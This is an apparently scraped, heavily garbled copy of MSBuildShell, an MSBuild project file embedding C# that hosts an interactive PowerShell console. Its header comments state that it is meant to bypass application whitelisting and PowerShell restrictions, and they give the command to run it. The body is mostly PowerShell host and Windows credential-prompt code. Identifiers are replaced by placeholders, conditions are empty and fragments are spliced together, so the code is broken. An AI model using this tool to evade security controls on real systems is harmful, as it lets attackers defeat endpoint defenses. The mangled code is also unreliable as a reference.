Msonline
Msonline
0"
xmlns="[Link]
<!-- MSBuildShell, a Powershell Host running within [Link] -->
<!-- This code let's you Bypass Application Whitelisting and [Link]
restrictions. -->
<!-- Save This File And Execute The Following Command: -->
<!-- C:\Windows\[Link]\Framework\v4.0.30319\[Link]
[Link] -->
<!-- Author and founder of the MSBuild Application Whitelisting Bypass code:
Casey Smith, Twitter: @subTee -->
<!-- Powershell Host Code: Original from Microsoft (MSDN), modified by Cn33liz,
Twitter: @Cneelis -->
<!-- License: BSD 3-Clause -->
<Target Name="MSBuildPosh">
<MSBuildShell/>
</Target>
<UsingTask
TaskName="MSBuildShell"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\[Link]\Framework\v4.0.30319\
[Link]" >
<Task>
<Reference Include="[Link]" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using Microsoft.Win32;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
using PowerShell = [Link];
[StructLayout([Link])]
internal struct RTL_OSVERSIONINFOEX
{
internal uint dwOSVersionInfoSize;
internal uint dwMajorVersion;
internal uint dwMinorVersion;
internal uint dwBuildNumber;
internal uint dwPlatformId;
[MarshalAs([Link], SizeConst = 128)]
internal string szCSDVersion;
}
[Link]();
return true;
}
}
class PowerListenerConsole
{
private bool shouldExit;
public PowerListenerConsole()
{
InitialSessionState state =
[Link]();
[Link] = new
[Link]("Dummy");
lock ([Link])
{
[Link] = [Link]();
}
try
{
[Link] =
[Link];
PSCommand[] profileCommands =
[Link]("PowerShell");
foreach (PSCommand command in profileCommands)
{
[Link] =
command;
[Link]();
}
}
finally
{
lock ([Link])
{
[Link]();
[Link] = null;
}
}
}
lock ([Link])
{
[Link] = [Link]();
}
try
{
[Link] =
[Link];
[Link](cmd);
[Link]("out-
default");
[Link][0].MergeMyResults([Link]
r, [Link]);
if (input != null)
{
[Link](new
object[] { input });
}
else
{
[Link]();
}
}
finally
{
lock ([Link])
{
[Link]();
[Link] = null;
}
}
}
lock ([Link])
{
[Link] =
[Link]();
}
[Link] =
[Link];
try
{
[Link]("$input").AddCommand("out-string");
Collection<PSObject> result;
PSDataCollection<object> inputCollection
= new PSDataCollection<object>();
[Link](error);
[Link]();
result =
[Link](inputCollection);
if ([Link] > 0)
{
string str = result[0].BaseObject
as string;
if ()
{
[Link] = true;
}
catch (Exception exception)
{
[Link]([Link]());
}
}
[Link] += new
ConsoleCancelEventHandler([Link]);
[Link] = false;
while (![Link])
{
string prompt;
if ([Link])
{
prompt = [Link]("[{0}]: PS> ",
[Link]);
}
else
{
prompt = [Link]("PS {0}> ",
[Link]);
}
[Link](prompt);
string cmd = [Link]();
if (cmd == "exit" || cmd == "quit")
{
return;
}
else if (cmd == "cls")
{
[Link]();
}
else
{
try
{
[Link](cmd);
}
catch (Exception e)
{
[Link]([Link]);
}
}
}
}
}
/// <summary>
/// Initializes a new instance of the MyHost class. Keep a
reference
/// to the host application object so that it can be
informed when
/// to exit.
/// </summary>
/// <param name="program">A reference to the host
application object.</param>
public MyHost(PowerListenerConsole program)
{
[Link] = program;
}
/// <summary>
/// The identifier of this instance of the host
implementation.
/// </summary>
private static Guid instanceId = [Link]();
/// <summary>
/// A reference to the PSHost implementation.
/// </summary>
private PowerListenerConsole program;
/// <summary>
/// The culture information of the thread that created this
object.
/// </summary>
private CultureInfo originalCultureInfo =
[Link];
/// <summary>
/// The UI culture information of the thread that created
this object.
/// </summary>
private CultureInfo originalUICultureInfo =
[Link];
/// <summary>
/// A reference to the implementation of the
PSHostUserInterface
/// class for this application.
/// </summary>
private MyHostUserInterface myHostUserInterface = new
MyHostUserInterface();
/// <summary>
/// Gets the culture information to use. This
implementation takes a
/// snapshot of the culture information of the thread that
created
/// this object.
/// </summary>
public override CultureInfo CurrentCulture
{
get { return [Link]; }
}
/// <summary>
/// Gets the UI culture information to use. This
implementation takes
/// snapshot of the UI culture information of the thread
that created
/// this object.
/// </summary>
public override CultureInfo CurrentUICulture
{
get { return [Link]; }
}
/// <summary>
/// Gets the identifier of this instance of the host
implementation.
/// This implementation always returns the GUID allocated
at
/// instantiation time.
/// </summary>
public override Guid InstanceId
{
get { return instanceId; }
}
/// <summary>
/// Gets the name of the host implementation. This string
may be used
/// by script writers to identify when this host is being
used.
/// </summary>
public override string Name
{
get { return "MSBuildShell"; }
}
/// <summary>
/// Gets an instance of the implementation of the
PSHostUserInterface class
/// for this application. This instance is allocated once
at startup time
/// and returned every time thereafter.
/// </summary>
public override PSHostUserInterface UI
{
get { return [Link]; }
}
/// <summary>
/// Gets the version object for this host application.
Typically
/// this should match the version resource in the
application.
/// </summary>
public override Version Version
{
get { return new Version(1, 0, 0, 0); }
}
/// <summary>
/// Gets a value indicating whether a request
/// to open a PSSession has been made.
/// </summary>
public bool IsRunspacePushed
{
get { return [Link] != null; }
}
/// <summary>
/// Gets or sets the runspace used by the PSSession.
/// </summary>
public Runspace Runspace
{
get { return [Link]; }
internal set { [Link] = value; }
}
#endregion IHostSupportsInteractiveSession Properties
/// <summary>
/// Instructs the host to interrupt the currently running
pipeline
/// and start a new nested input loop. Not implemented by
this example class.
/// The call fails with an exception.
/// </summary>
public override void EnterNestedPrompt()
{
throw new NotImplementedException("Cannot suspend the
shell, EnterNestedPrompt() method is not implemented by MyHost.");
}
/// <summary>
/// Instructs the host to exit the currently running input
loop. Not
/// implemented by this example class. The call fails with
an
/// exception.
/// </summary>
public override void ExitNestedPrompt()
{
throw new NotImplementedException("The
ExitNestedPrompt() method is not implemented by MyHost.");
}
/// <summary>
/// Notifies the host that the Windows PowerShell runtime
is about to
/// execute a legacy command-line application. Typically it
is used
/// to restore state that was changed by a child process
after the
/// child exits. This implementation does nothing and
simply returns.
/// </summary>
public override void NotifyBeginApplication()
{
return; // Do nothing.
}
/// <summary>
/// Notifies the host that the Windows PowerShell engine
has
/// completed the execution of a legacy command. Typically
it
/// is used to restore state that was changed by a child
process
/// after the child exits. This implementation does nothing
and
/// simply returns.
/// </summary>
public override void NotifyEndApplication()
{
return; // Do nothing.
}
/// <summary>
/// Indicate to the host application that exit has
/// been requested. Pass the exit code that the host
/// application should use when exiting the process.
/// </summary>
/// <param name="exitCode">The exit code that the host
application should use.</param>
public override void SetShouldExit(int exitCode)
{
[Link] = true;
[Link] = exitCode;
}
/// <summary>
/// Requests to close a PSSession.
/// </summary>
public void PopRunspace()
{
Runspace = [Link];
[Link] = null;
}
/// <summary>
/// Requests to open a PSSession.
/// </summary>
/// <param name="runspace">Runspace to use.</param>
public void PushRunspace(Runspace runspace)
{
[Link] = Runspace;
Runspace = runspace;
}
[StructLayout([Link], CharSet =
[Link])]
private struct CREDUI_INFO
{
public int cbSize;
public IntPtr hwndParent;
public string pszMessageText;
public string pszCaptionText;
public IntPtr hbmBanner;
}
/// <summary>
/// A reference to the MyRawUserInterface implementation.
/// </summary>
private MyRawUserInterface myRawUi = new
MyRawUserInterface();
/// <summary>
/// Gets an instance of the PSRawUserInterface object for
this host
/// application.
/// </summary>
public override PSHostRawUserInterface RawUI
{
get { return [Link]; }
}
/// <summary>
/// Prompts the user for input.
/// </summary>
/// <param name="caption">Text that preceeds the prompt (a
title).</param>
/// <param name="message">Text of the prompt.</param>
/// <param name="descriptions">A collection of
FieldDescription objects
/// that contains the user input.</param>
/// <returns>A dictionary object that contains the results
of the user prompts.</returns>
public override Dictionary<string, PSObject> Prompt(
string caption,
string message,
Collection<FieldDescription>
descriptions)
{
[Link](
[Link],
[Link],
caption + "\n" + message + " ");
Dictionary<string, PSObject> results =
new Dictionary<string, PSObject>();
foreach (FieldDescription fd in descriptions)
{
string[] label = GetHotkeyAndLabel([Link]);
[Link](label[1]);
string userData = [Link]();
if (userData == null)
{
return null;
}
results[[Link]] =
[Link](userData);
}
return results;
}
/// <summary>
/// Provides a set of choices that enable the user to
choose a single option
/// from a set of options.
/// </summary>
/// <param name="caption">A title that proceeds the
choices.</param>
/// <param name="message">An introduction message that
describes the
/// choices.</param>
/// <param name="choices">A collection of ChoiceDescription
objects that describ
/// each choice.</param>
/// <param name="defaultChoice">The index of the label in
the Choices parameter
/// collection that indicates the default choice used if
the user does not specify
/// a choice. To indicate no default choice, set to
-1.</param>
/// <returns>The index of the Choices parameter collection
element that corresponds
/// to the option that is selected by the user.</returns>
public override int PromptForChoice(
string
caption,
string
message,
Collection<ChoiceDescription> choices,
int
defaultChoice)
{
// Write the caption and message strings in Blue.
[Link](
[Link],
[Link],
caption + "\n" + message + "\
n");
[Link],
"|{0}> {1}
",
promptData[0, element],
promptData[1, element]));
}
[Link]([Link](
[Link],
"[Default is
({0}]",
promptData[0,
defaultChoice]));
/// <summary>
/// Provides a set of choices that enable the user to
choose a one or more options
/// from a set of options.
/// </summary>
/// <param name="caption">A title that proceeds the
choices.</param>
/// <param name="message">An introduction message that
describes the
/// choices.</param>
/// <param name="choices">A collection of ChoiceDescription
objects that describe each choice.</param>
/// <param name="defaultChoices">The index of the label in
the Choices parameter
/// collection that indicates the default choice used if
the user does not specify
/// a choice. To indicate no default choice, set to
-1.</param>
/// <returns>The index of the Choices parameter collection
element that corresponds
/// to the choices selected by the user.</returns>
public Collection<int> PromptForChoice(
string caption,
string message,
Collection<ChoiceDescription> choices,
IEnumerable<int> defaultChoices)
{
// Write the caption and message strings in Blue.
[Link](
[Link],
[Link],
caption + "\n" + message + "\
n");
[Link],
"|{0}> {1}
",
promptData[0, element],
promptData[1, element]));
}
if (countDefaults != 0)
{
[Link](countDefaults == 1 ? "[Default
choice is " : "[Default choices are ");
foreach (int defaultChoice in
defaultChoices)
{
[Link](
[Link],
"\"{0}\",",
promptData[0, defaultChoice]);
}
[Link]([Link] - 1, 1);
[Link]("]");
}
}
[Link]([Link], [Link],
[Link]());
#endregion
/// <summary>
/// Prompts the user for credentials with a specified
prompt window
/// caption, prompt message, user name, and target name.
/// </summary>
/// <param name="caption">The caption of the message
window.</param>
/// <param name="message">The text of the message.</param>
/// <param name="userName">The user name whose credential
is to be prompted for.</param>
/// <param name="targetName">The name of the target for
which the credential is collected.</param>
/// <returns>Throws a NotImplementException
exception.</returns>
public override PSCredential PromptForCredential(
string caption,
string message,
string userName,
string
targetName)
{
PromptCredentialsResult result =
[Link](targetName, caption, message, userName, null);
return result == null ? null : new
PSCredential([Link], [Link]());
}
/// <summary>
/// Prompts the user for credentials by using a specified
prompt window
/// caption, prompt message, user name and target name,
credential types
/// allowed to be returned, and UI behavior options.
/// </summary>
/// <param name="caption">The caption of the message
window.</param>
/// <param name="message">The text of the message.</param>
/// <param name="userName">The user name whose credential
is to be prompted for.</param>
/// <param name="targetName">The name of the target for
which the credential is collected.</param>
/// <param name="allowedCredentialTypes">PSCredentialTypes
cconstants that identify the type of
/// credentials that can be returned.</param>
/// <param name="options">A PSCredentialUIOptions constant
that identifies the UI behavior
/// when it gathers the credentials.</param>
/// <returns>Throws a NotImplementException
exception.</returns>
public override PSCredential PromptForCredential(
string caption,
string message,
string userName,
string targetName,
PSCredentialTypes
allowedCredentialTypes,
PSCredentialUIOptions
options)
{
PromptCredentialsResult result =
[Link](targetName, caption, message, userName, null);
return result == null ? null : new
PSCredential([Link], [Link]());
}
/// <summary>
/// Reads characters that are entered by the user until a
/// newline (carriage return) is encountered.
/// </summary>
/// <returns>The characters entered by the user.</returns>
public override string ReadLine()
{
return [Link]();
}
/// <summary>
/// Reads characters entered by the user until a newline
(carriage return)
/// is encountered and returns the characters as a secure
string.
/// </summary>
/// <returns>A secure string of the characters entered by
the user.</returns>
public override [Link]
ReadLineAsSecureString()
{
return [Link]().ToSecureString();
}
/// <summary>
/// Writes a line of characters to the output display of
the host
/// and appends a newline (carriage return).
/// </summary>
/// <param name="value">The characters to be
written.</param>
public override void Write(string value)
{
[Link](value);
}
/// <summary>
/// Writes characters to the output display of the host
with possible
/// foreground and background colors.
/// </summary>
/// <param name="foregroundColor">The color of the
characters.</param>
/// <param name="backgroundColor">The backgound color to
use.</param>
/// <param name="value">The characters to be
written.</param>
public override void Write(
ConsoleColor
foregroundColor,
ConsoleColor
backgroundColor,
string value)
{
ConsoleColor oldFg = [Link];
ConsoleColor oldBg = [Link];
[Link] = foregroundColor;
[Link] = backgroundColor;
[Link](value);
[Link] = oldFg;
[Link] = oldBg;
}
/// <summary>
/// Writes a line of characters to the output display of
the host
/// with foreground and background colors and appends a
newline (carriage return).
/// </summary>
/// <param name="foregroundColor">The forground color of
the display. </param>
/// <param name="backgroundColor">The background color of
the display. </param>
/// <param name="value">The line to be written.</param>
public override void WriteLine(
ConsoleColor
foregroundColor,
ConsoleColor
backgroundColor,
string value)
{
ConsoleColor oldFg = [Link];
ConsoleColor oldBg = [Link];
[Link] = foregroundColor;
[Link] = backgroundColor;
[Link](value);
[Link] = oldFg;
[Link] = oldBg;
}
/// <summary>
/// Writes a debug message to the output display of the
host.
/// </summary>
/// <param name="message">The debug message that is
displayed.</param>
public override void WriteDebugLine(string message)
{
[Link](
[Link],
[Link],
/// <summary>
/// Writes an error message to the output display of the
host.
/// </summary>
/// <param name="value">The error message that is
displayed.</param>
public override void WriteErrorLine(string value)
{
[Link]([Link], [Link],
value);
}
/// <summary>
/// Writes a newline character (carriage return)
/// to the output display of the host.
/// </summary>
public override void WriteLine()
{
[Link]();
}
/// <summary>
/// Writes a line of characters to the output display of
the host
/// and appends a newline character(carriage return).
/// </summary>
/// <param name="value">The line to be written.</param>
public override void WriteLine(string value)
{
[Link](value);
}
/// <summary>
/// Writes a verbose message to the output display of the
host.
/// </summary>
/// <param name="message">The verbose message that is
displayed.</param>
public override void WriteVerboseLine(string message)
{
[Link](
[Link],
[Link],
/// <summary>
/// Writes a warning message to the output display of the
host.
/// </summary>
/// <param name="message">The warning message that is
displayed.</param>
public override void WriteWarningLine(string message)
{
[Link](
[Link],
[Link],
/// <summary>
/// Writes a progress report to the output display of the
host.
/// Wrinting a progress report is not required for the
cmdlet to
/// work so it is better to do nothing instead of throwing
an
/// exception.
/// </summary>
/// <param name="sourceId">Unique identifier of the source
of the record. </param>
/// <param name="record">A ProgressReport object.</param>
public override void WriteProgress(long sourceId,
ProgressRecord record)
{
// Do nothing.
}
/// <summary>
/// Parse a string containing a hotkey character.
/// Take a string of the form
/// Yes to &all
/// and returns a two-dimensional array split out as
/// "A", "Yes to all".
/// </summary>
/// <param name="input">The string to process</param>
/// <returns>
/// A two dimensional array containing the parsed
components.
/// </returns>
private static string[] GetHotkeyAndLabel(string input)
{
string[] result = new string[] { [Link],
[Link] };
string[] fragments = [Link]('&');
if ([Link] == 2)
{
if (fragments[1].Length > 0)
{
result[0] = fragments[1][0].ToString().
ToUpper([Link]);
}
result[1] = (fragments[0] +
fragments[1]).Trim();
}
else
{
result[1] = input;
}
return result;
}
/// <summary>
/// This is a private worker function splits out the
/// accelerator keys from the menu and builds a two
/// dimentional array with the first access containing the
/// accelerator and the second containing the label string
/// with the & removed.
/// </summary>
/// <param name="choices">The choice collection to
process</param>
/// <returns>
/// A two dimensional array containing the accelerator
characters
/// and the cleaned-up labels</returns>
private static string[,] BuildHotkeysAndPlainLabels(
Collection<ChoiceDescription> choices)
{
// we will allocate the result array
string[,] hotkeysAndPlainLabels = new string[2,
[Link]];
return hotkeysAndPlainLabels;
}
}
/// <summary>
/// Engine registry key.
/// </summary>
internal const string PowerShellEngineKey =
"PowerShellEngine";
/// <summary>
/// Registry key used to determine the directory where
Windows
/// PowerShell is installed.
/// </summary>
internal const string PowerShellEngineApplicationBase =
"ApplicationBase";
/// <summary>
/// The path to the Windows PowerShell version registry
key.
/// </summary>
internal const string RegistryVersionKey = "1";
/// <summary>
/// Gets a PSObject whose base object is
currentUserCurrentHost and
/// with notes for the other parameters.
/// </summary>
/// <param name="allUsersAllHosts">The profile file name
for all
/// users and all hosts.</param>
/// <param name="allUsersCurrentHost">The profile file name
for
/// all users and current host.</param>
/// <param name="currentUserAllHosts">The profile file name
for
/// current user and all hosts.</param>
/// <param name="currentUserCurrentHost">The profile name
for
/// current user and current host.</param>
/// <returns>A PSObject whose base object is
currentUserCurrentHost
/// and with notes for the other parameters.</returns>
internal static PSObject GetDollarProfile(string
allUsersAllHosts, string allUsersCurrentHost, string currentUserAllHosts, string
currentUserCurrentHost)
{
PSObject returnValue = new
PSObject(currentUserCurrentHost);
[Link](new
PSNoteProperty("AllUsersAllHosts", allUsersAllHosts));
[Link](new
PSNoteProperty("AllUsersCurrentHost", allUsersCurrentHost));
[Link](new
PSNoteProperty("CurrentUserAllHosts", currentUserAllHosts));
[Link](new
PSNoteProperty("CurrentUserCurrentHost", currentUserCurrentHost));
return returnValue;
}
/// <summary>
/// Gets an array of commands that can be run sequentially
to set $profile and run the profile commands.
/// </summary>
/// <param name="shellId">The identifier of the host or
shell used in profile file names.</param>
/// <returns>The commands used to set $profile.</returns>
internal static PSCommand[] GetProfileCommands(string
shellId)
{
return [Link](shellId,
false);
}
/// <summary>
/// Gets an array of commands that can be run sequentially
to set $profile and run the profile commands.
/// </summary>
/// <param name="shellId">The id identifying the host or
shell used in profile file names.</param>
/// <param name="useTestProfile">used from test not to
overwrite the profile file names from development boxes</param>
/// <returns>The commands used to set $profile.</returns>
internal static PSCommand[] GetProfileCommands(string
shellId, bool useTestProfile)
{
List<PSCommand> commands = new List<PSCommand>();
string allUsersAllHosts =
[Link](null, false, useTestProfile);
string allUsersCurrentHost =
[Link](shellId, false, useTestProfile);
string currentUserAllHosts =
[Link](null, true, useTestProfile);
string currentUserCurrentHost =
[Link](shellId, true, useTestProfile);
PSObject dollarProfile =
[Link](allUsersAllHosts, allUsersCurrentHost,
currentUserAllHosts, currentUserCurrentHost);
PSCommand command = new PSCommand();
[Link]("set-variable");
[Link]("Name", "profile");
[Link]("Value", dollarProfile);
[Link]("Option",
[Link]);
[Link](command);
return [Link]();
}
/// <summary>
/// Used to get all profile file names for the current or
all hosts and for the current or all users.
/// </summary>
/// <param name="shellId">null for all hosts, not null for
the specified host</param>
/// <param name="forCurrentUser">false for all users, true
for the current user.</param>
/// <returns>The profile file name matching the
parameters.</returns>
internal static string GetFullProfileFileName(string
shellId, bool forCurrentUser)
{
return [Link](shellId,
forCurrentUser, false);
}
/// <summary>
/// Used to get all profile file names for the current or
all hosts and for the current or all users.
/// </summary>
/// <param name="shellId">null for all hosts, not null for
the specified host</param>
/// <param name="forCurrentUser">false for all users, true
for the current user.</param>
/// <param name="useTestProfile">used from test not to
overwrite the profile file names from development boxes</param>
/// <returns>The profile file name matching the
parameters.</returns>
internal static string GetFullProfileFileName(string
shellId, bool forCurrentUser, bool useTestProfile)
{
string basePath = null;
if (forCurrentUser)
{
basePath =
[Link]([Link]);
basePath = [Link](basePath,
"WindowsPowerShell");
}
else
{
basePath = GetAllUsersFolderPath(shellId);
if ([Link](basePath))
{
return [Link];
}
}
if ()
{
profileName = shellId + "_" + profileName;
}
return fullPath;
}
/// <summary>
/// Gets the registry key used to install Windows
PowerShell.
/// </summary>
/// <param name="shellId">The parameter is not
used.</param>
/// <returns>The regisrty key.</returns>
internal static string GetApplicationBase(string shellId)
{
string engineKeyPath = PowerShellRootKeyPath + "\\" +
RegistryVersionKey + "\\" +
PowerShellEngineKey;
/// <summary>
/// Used internally in GetFullProfileFileName to get the
base path for all users profiles.
/// </summary>
/// <param name="shellId">The shellId to use.</param>
/// <returns>the base path for all users
profiles.</returns>
private static string GetAllUsersFolderPath(string shellId)
{
string folderPath = [Link];
try
{
folderPath = GetApplicationBase(shellId);
}
catch ([Link])
{
}
return folderPath;
}
}
/// <summary>
/// Gets or sets the host buffer size adapted from on the
/// .NET Console buffer size.
/// </summary>
public override Size BufferSize
{
get { return new Size([Link],
[Link]); }
set { [Link]([Link],
[Link]); }
}
/// <summary>
/// Gets or sets the cursor position. This functionality is
not
/// implemented. The call fails with an exception.
/// </summary>
public override Coordinates CursorPosition
{
get { throw new NotImplementedException("The
CursorPosition property is not implemented by MyRawUserInterface."); }
set { throw new NotImplementedException("The
CursorPosition property is not implemented by MyRawUserInterface."); }
}
/// <summary>
/// Gets or sets the cursor size taken directly from
the .NET
/// Console cursor size.
/// </summary>
public override int CursorSize
{
get { return [Link]; }
set { [Link] = value; }
}
/// <summary>
/// Gets or sets the foreground color of the text to be
written.
/// This maps pretty directly onto the corresponding .NET
Console
/// property.
/// </summary>
public override ConsoleColor ForegroundColor
{
get { return [Link]; }
set { [Link] = value; }
}
/// <summary>
/// Gets a value that indicates whether a key is available.
/// This implementation maps directly to the corresponding
/// .NET Console property.
/// </summary>
public override bool KeyAvailable
{
get { return [Link]; }
}
/// <summary>
/// Gets the maximum physical size of the window adapted
from the
/// .NET Console LargestWindowWidth and LargestWindowHeight
properties.
/// </summary>
public override Size MaxPhysicalWindowSize
{
get { return new Size([Link],
[Link]); }
}
/// <summary>
/// Gets the maximum window size adapted from the .NET
Console
/// LargestWindowWidth and LargestWindowHeight properties.
/// </summary>
public override Size MaxWindowSize
{
get { return new Size([Link],
[Link]); }
}
/// <summary>
/// Gets or sets the window position adapted from the
Console window position
/// information.
/// </summary>
public override Coordinates WindowPosition
{
get { return new Coordinates([Link],
[Link]); }
set { [Link](value.X, value.Y); }
}
/// <summary>
/// Gets or sets the window size adapted from the
corresponding .NET Console calls.
/// </summary>
public override Size WindowSize
{
get { return new Size([Link],
[Link]); }
set { [Link]([Link],
[Link]); }
}
/// <summary>
/// Gets or sets the title of the window mapped to the
[Link] property.
/// </summary>
public override string WindowTitle
{
get { return [Link]; }
set { [Link] = value; }
}
/// <summary>
/// Resets the input buffer. This method is not currently
/// implemented and returns silently.
/// </summary>
public override void FlushInputBuffer()
{
// Do nothing.
}
/// <summary>
/// Retrieves a rectangular region of the screen buffer.
This method
/// is not implemented. The call fails with an exception.
/// </summary>
/// <param name="rectangle">A Rectangle object that defines
the size of the rectangle</param>
/// <returns>Throws a NotImplementedException
exception.</returns>
public override BufferCell[,] GetBufferContents(Rectangle
rectangle)
{
throw new NotImplementedException("The
GetBufferContents method is not implemented by MyRawUserInterface.");
}
/// <summary>
/// Reads a pressed, released, or pressed and released
keystroke
/// from the keyboard device, blocking processing until a
keystroke
/// is typed that matches the specified keystroke options.
This
/// functionality is not implemented. The call fails with
an
/// exception.
/// </summary>
/// <param name="options">A bit mask of the options to be
used when
/// reading from the keyboard. </param>
/// <returns>Throws a NotImplementedException
exception.</returns>
public override KeyInfo ReadKey(ReadKeyOptions options)
{
throw new NotImplementedException("The ReadKey()
method is not implemented by MyRawUserInterface.");
}
/// <summary>
/// Crops a region of the screen buffer. This functionality
is not
/// implemented. The call fails with an exception.
/// </summary>
/// <param name="source">A Rectangle structure that
identifies the
/// region of the screen to be scrolled.</param>
/// <param name="destination">A Coordinates structure that
/// identifies the upper-left coordinates of the region of
the
/// screen to receive the source region contents.</param>
/// <param name="clip">A Rectangle structure that
identifies the
/// region of the screen to include in the
operation.</param>
/// <param name="fill">A BufferCell structure that
identifies the
/// character and attributes to be used to fill all cells
within
/// the intersection of the source rectangle and clip
rectangle
/// that are left "empty" by the move.</param>
public override void ScrollBufferContents(Rectangle source,
Coordinates destination, Rectangle clip, BufferCell fill)
{
throw new NotImplementedException("The
ScrollBufferContents() method is not implemented by MyRawUserInterface.");
}
/// <summary>
/// Copies a given character to a region of the screen
buffer based
/// on the coordinates of the region. This method is not
implemented.
/// The call fails with an exception.
/// </summary>
/// <param name="origin">The coordnates of the
region.</param>
/// <param name="contents">A BufferCell structure that
defines the fill character.</param>
public override void SetBufferContents(Coordinates origin,
BufferCell[,] contents)
{
throw new NotImplementedException("The
SetBufferContents() method is not implemented by MyRawUserInterface.");
}
/// <summary>
/// Copies a given character to a rectangular region of the
screen
/// buffer. This method is not implemented. The call fails
with an
/// exception.
/// </summary>
/// <param name="rectangle">A Rectangle structure that
defines the area to be filled.</param>
/// <param name="fill">A BufferCell structure that defines
the fill character.</param>
public override void SetBufferContents(Rectangle rectangle,
BufferCell fill)
{
throw new NotImplementedException("The
SetBufferContents() method is not implemented by MyRawUserInterface.");
}
}
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="options"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsResult
PromptForWindowsCredentials(PromptForWindowsCredentialsOptions options, String
userName, String password)
{
if ([Link](userName) &&
[Link](password))
return
PromptForWindowsCredentialsInternal<PromptCredentialsResult>(options, null, null);
[Link]();
[Link]();
return
PromptForWindowsCredentialsInternal<PromptCredentialsResult>(options, userNameS,
passwordS);
}
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForWindowsCredentialsWithSecureString(String caption, String message)
{
return
PromptForWindowsCredentialsWithSecureString(caption, message, [Link], null,
null);
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="hwndParent"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr
hwndParent)
{
return
PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, null,
null);
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForWindowsCredentialsWithSecureString(String caption, String message,
SecureString userName, SecureString password)
{
return
PromptForWindowsCredentialsWithSecureString(caption, message, [Link],
userName, password);
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="hwndParent"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr
hwndParent, SecureString userName, SecureString password)
{
PromptForWindowsCredentialsOptions options = new
PromptForWindowsCredentialsOptions(caption, message)
{
HwndParent = hwndParent,
IsSaveChecked = false
};
return
PromptForWindowsCredentialsWithSecureString(options, userName, password);
}
/// <summary>
/// Creates and displays a configurable dialog box that
allows users to supply credential information by using any credential provider
installed on the local computer.
/// </summary>
/// <param name="options"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForWindowsCredentialsWithSecureString(PromptForWindowsCredentialsOptions
options, SecureString userName, SecureString password)
{
return
PromptForWindowsCredentialsInternal<PromptCredentialsSecureStringResult>(options,
userName, password);
}
private static T
PromptForWindowsCredentialsInternal<T>(PromptForWindowsCredentialsOptions options,
SecureString userName, SecureString password) where T : class,
IPromptCredentialsResult
{
NativeMethods.CREDUI_INFO creduiInfo = new
NativeMethods.CREDUI_INFO()
{
pszCaptionText = [Link],
pszMessageText = [Link],
hwndParent = [Link],
hbmBanner = [Link]
};
PromptForWindowsCredentialsFlag credentialsFlag =
[Link];
ref inAuthBufferSize))
{
var win32Error =
Marshal.GetLastWin32Error();
if (win32Error == 122
/*ERROR_INSUFFICIENT_BUFFER*/)
{
inAuthBuffer =
[Link](inAuthBuffer, inAuthBufferSize);
if (
!
[Link](0x00, userNamePtr, passwordPtr,
inAuthBuffer,
ref inAuthBufferSize))
{
throw new
Win32Exception(Marshal.GetLastWin32Error());
}
}
else
{
throw new
Win32Exception(win32Error);
}
}
}
var retVal =
[Link](creduiInfo,
[Link],
ref authPackage,
inAuthBuffer,
inAuthBufferSize,
out outAuthBuffer,
out outAuthBufferSize,
ref save,
credentialsFlag
);
switch (retVal)
{
case
[Link]:
return null;
case
[Link]:
break;
default:
throw new
Win32Exception((Int32)retVal);
}
if (typeof(T) ==
typeof(PromptCredentialsSecureStringResult))
{
var credResult =
[Link](true, outAuthBuffer,
outAuthBufferSize);
[Link] = save;
return credResult as T;
}
else
{
var credResult =
[Link](true, outAuthBuffer,
outAuthBufferSize);
[Link] = save;
return credResult as T;
}
}
finally
{
if (inAuthBuffer != [Link])
[Link](inAuthBuffer);
if (outAuthBuffer != [Link])
[Link](outAuthBuffer);
if (userNamePtr != [Link])
[Link](userNamePtr);
if (passwordPtr != [Link])
[Link](passwordPtr);
}
}
#endregion
[Link]();
[Link]();
return
PromptForCredentialsInternal<PromptCredentialsResult>(options, userNameS,
passwordS);
}
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="targetName"></param>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(String targetName, String caption, String
message)
{
return PromptForCredentialsWithSecureString(new
PromptForCredentialsOptions(targetName, caption, message));
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="targetName"></param>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="hwndParent"></param>
/// <returns></returns>
public static PromptCredentialsSecureStringResult
PromptForCredentialsWithSecureString(String targetName, String caption, String
message, IntPtr hwndParent)
{
return
PromptForCredentialsWithSecureString(targetName, caption, message, hwndParent,
null, null);
}
/// <summary>
/// Creates and displays a configurable dialog box that
accepts credentials information from a user.
/// </summary>
/// <param name="targetName"></param>
/// <param name="caption"></param>
/// <param name="message"></param>
/// <param name="userName"></param>
/// <param name="password"></param>
/// <returns></returns>
